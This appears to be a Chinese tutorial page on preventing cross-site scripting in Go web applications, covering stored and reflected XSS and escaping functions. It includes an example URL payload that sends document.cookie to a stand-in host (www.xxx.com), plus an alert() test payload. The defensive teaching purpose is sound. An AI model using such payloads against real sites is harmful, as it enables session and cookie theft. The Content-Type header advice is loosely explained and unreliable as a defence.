golang避免XSS攻击
隨著互聯(lián)網(wǎng)技術(shù)的發(fā)展,現(xiàn)在的Web應(yīng)用都含有大量的動(dòng)態(tài)內(nèi)容以提高用戶體驗(yàn)。所謂動(dòng)態(tài)內(nèi)容,就是應(yīng)用程序能夠根據(jù)用戶環(huán)境和用戶請(qǐng)求,輸出相應(yīng)的內(nèi)容。動(dòng)態(tài)站點(diǎn)會(huì)受到一種名為“跨站腳本攻擊”(Cross Site Scripting, 安全專家們通常將其縮寫成 XSS)的威脅,而靜態(tài)站點(diǎn)則完全不受其影響。
什么是XSS
XSS攻擊:跨站腳本攻擊(Cross-Site Scripting),為了不和層疊樣式表(Cascading Style Sheets, CSS)的縮寫混淆,故將跨站腳本攻擊縮寫為XSS。XSS是一種常見的web安全漏洞,它允許攻擊者將惡意代碼植入到提供給其它用戶使用的頁面中。不同于大多數(shù)攻擊(一般只涉及攻擊者和受害者),XSS涉及到三方,即攻擊者、客戶端與Web應(yīng)用。XSS的攻擊目標(biāo)是為了盜取存儲(chǔ)在客戶端的cookie或者其他網(wǎng)站用于識(shí)別客戶端身份的敏感信息。一旦獲取到合法用戶的信息后,攻擊者甚至可以假冒合法用戶與網(wǎng)站進(jìn)行交互。
XSS通常可以分為兩大類:一類是存儲(chǔ)型XSS,主要出現(xiàn)在讓用戶輸入數(shù)據(jù),供其他瀏覽此頁的用戶進(jìn)行查看的地方,包括留言、評(píng)論、博客日志和各類表單等。應(yīng)用程序從數(shù)據(jù)庫中查詢數(shù)據(jù),在頁面中顯示出來,攻擊者在相關(guān)頁面輸入惡意的腳本數(shù)據(jù)后,用戶瀏覽此類頁面時(shí)就可能受到攻擊。這個(gè)流程簡(jiǎn)單可以描述為:惡意用戶的Html輸入Web程序->進(jìn)入數(shù)據(jù)庫->Web程序->用戶瀏覽器。另一類是反射型XSS,主要做法是將腳本代碼加入U(xiǎn)RL地址的請(qǐng)求參數(shù)里,請(qǐng)求參數(shù)進(jìn)入程序后在頁面直接輸出,用戶點(diǎn)擊類似的惡意鏈接就可能受到攻擊。
XSS目前主要的手段和目的如下:
- 盜用cookie,獲取敏感信息。
- 利用植入Flash,通過crossdomain權(quán)限設(shè)置進(jìn)一步獲取更高權(quán)限;或者利用Java等得到類似的操作。
- 利用iframe、frame、XMLHttpRequest或上述Flash等方式,以(被攻擊者)用戶的身份執(zhí)行一些管理動(dòng)作,或執(zhí)行一些如:發(fā)微博、加好友、發(fā)私信等常規(guī)操作,前段時(shí)間新浪微博就遭遇過一次XSS。
- 利用可被攻擊的域受到其他域信任的特點(diǎn),以受信任來源的身份請(qǐng)求一些平時(shí)不允許的操作,如進(jìn)行不當(dāng)?shù)耐镀被顒?dòng)。
- 在訪問量極大的一些頁面上的XSS可以攻擊一些小型網(wǎng)站,實(shí)現(xiàn)DDoS攻擊的效果
XSS的原理
Web應(yīng)用未對(duì)用戶提交請(qǐng)求的數(shù)據(jù)做充分的檢查過濾,允許用戶在提交的數(shù)據(jù)中摻入HTML代碼(最主要的是“>”、“<”),并將未經(jīng)轉(zhuǎn)義的惡意代碼輸出到第三方用戶的瀏覽器解釋執(zhí)行,是導(dǎo)致XSS漏洞的產(chǎn)生原因。
接下來以反射性XSS舉例說明XSS的過程:現(xiàn)在有一個(gè)網(wǎng)站,根據(jù)參數(shù)輸出用戶的名稱,例如訪問url:http://127.0.0.1/?name=astaxie,就會(huì)在瀏覽器輸出如下信息:
hello astaxie如果我們傳遞這樣的url:http://127.0.0.1/?name=<script>alert('astaxie,xss')</script>,這時(shí)你就會(huì)發(fā)現(xiàn)瀏覽器跳出一個(gè)彈出框,這說明站點(diǎn)已經(jīng)存在了XSS漏洞。那么惡意用戶是如何盜取Cookie的呢?與上類似,如下這樣的url:http://127.0.0.1/?name=<script>document.location.href='http://www.xxx.com/cookie?'+document.cookie</script>,這樣就可以把當(dāng)前的cookie發(fā)送到指定的站點(diǎn):www.xxx.com。你也許會(huì)說,這樣的URL一看就有問題,怎么會(huì)有人點(diǎn)擊?,是的,這類的URL會(huì)讓人懷疑,但如果使用短網(wǎng)址服務(wù)將之縮短,你還看得出來么?攻擊者將縮短過后的url通過某些途徑傳播開來,不明真相的用戶一旦點(diǎn)擊了這樣的url,相應(yīng)cookie數(shù)據(jù)就會(huì)被發(fā)送事先設(shè)定好的站點(diǎn),這樣子就盜得了用戶的cookie信息,然后就可以利用Websleuth之類的工具來檢查是否能盜取那個(gè)用戶的賬戶。
更加詳細(xì)的關(guān)于XSS的分析大家可以參考這篇叫做《新浪微博XSS事件分析》的文章。
如何預(yù)防XSS
答案很簡(jiǎn)單,堅(jiān)決不要相信用戶的任何輸入,并過濾掉輸入中的所有特殊字符。這樣就能消滅絕大部分的XSS攻擊。
目前防御XSS主要有如下幾種方式:
-
過濾特殊字符
避免XSS的方法之一主要是將用戶所提供的內(nèi)容進(jìn)行過濾,Go語言提供了HTML的過濾函數(shù):
text/template包下面的HTMLEscapeString、JSEscapeString等函數(shù)
-
使用HTTP頭指定類型
w.Header().Set("Content-Type","text/javascript")
這樣就可以讓瀏覽器解析javascript代碼,而不會(huì)是html輸出。
總結(jié)
以上是生活随笔為你收集整理的golang避免XSS攻击的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: golang确保输入过滤
- 下一篇: golang避免SQL注入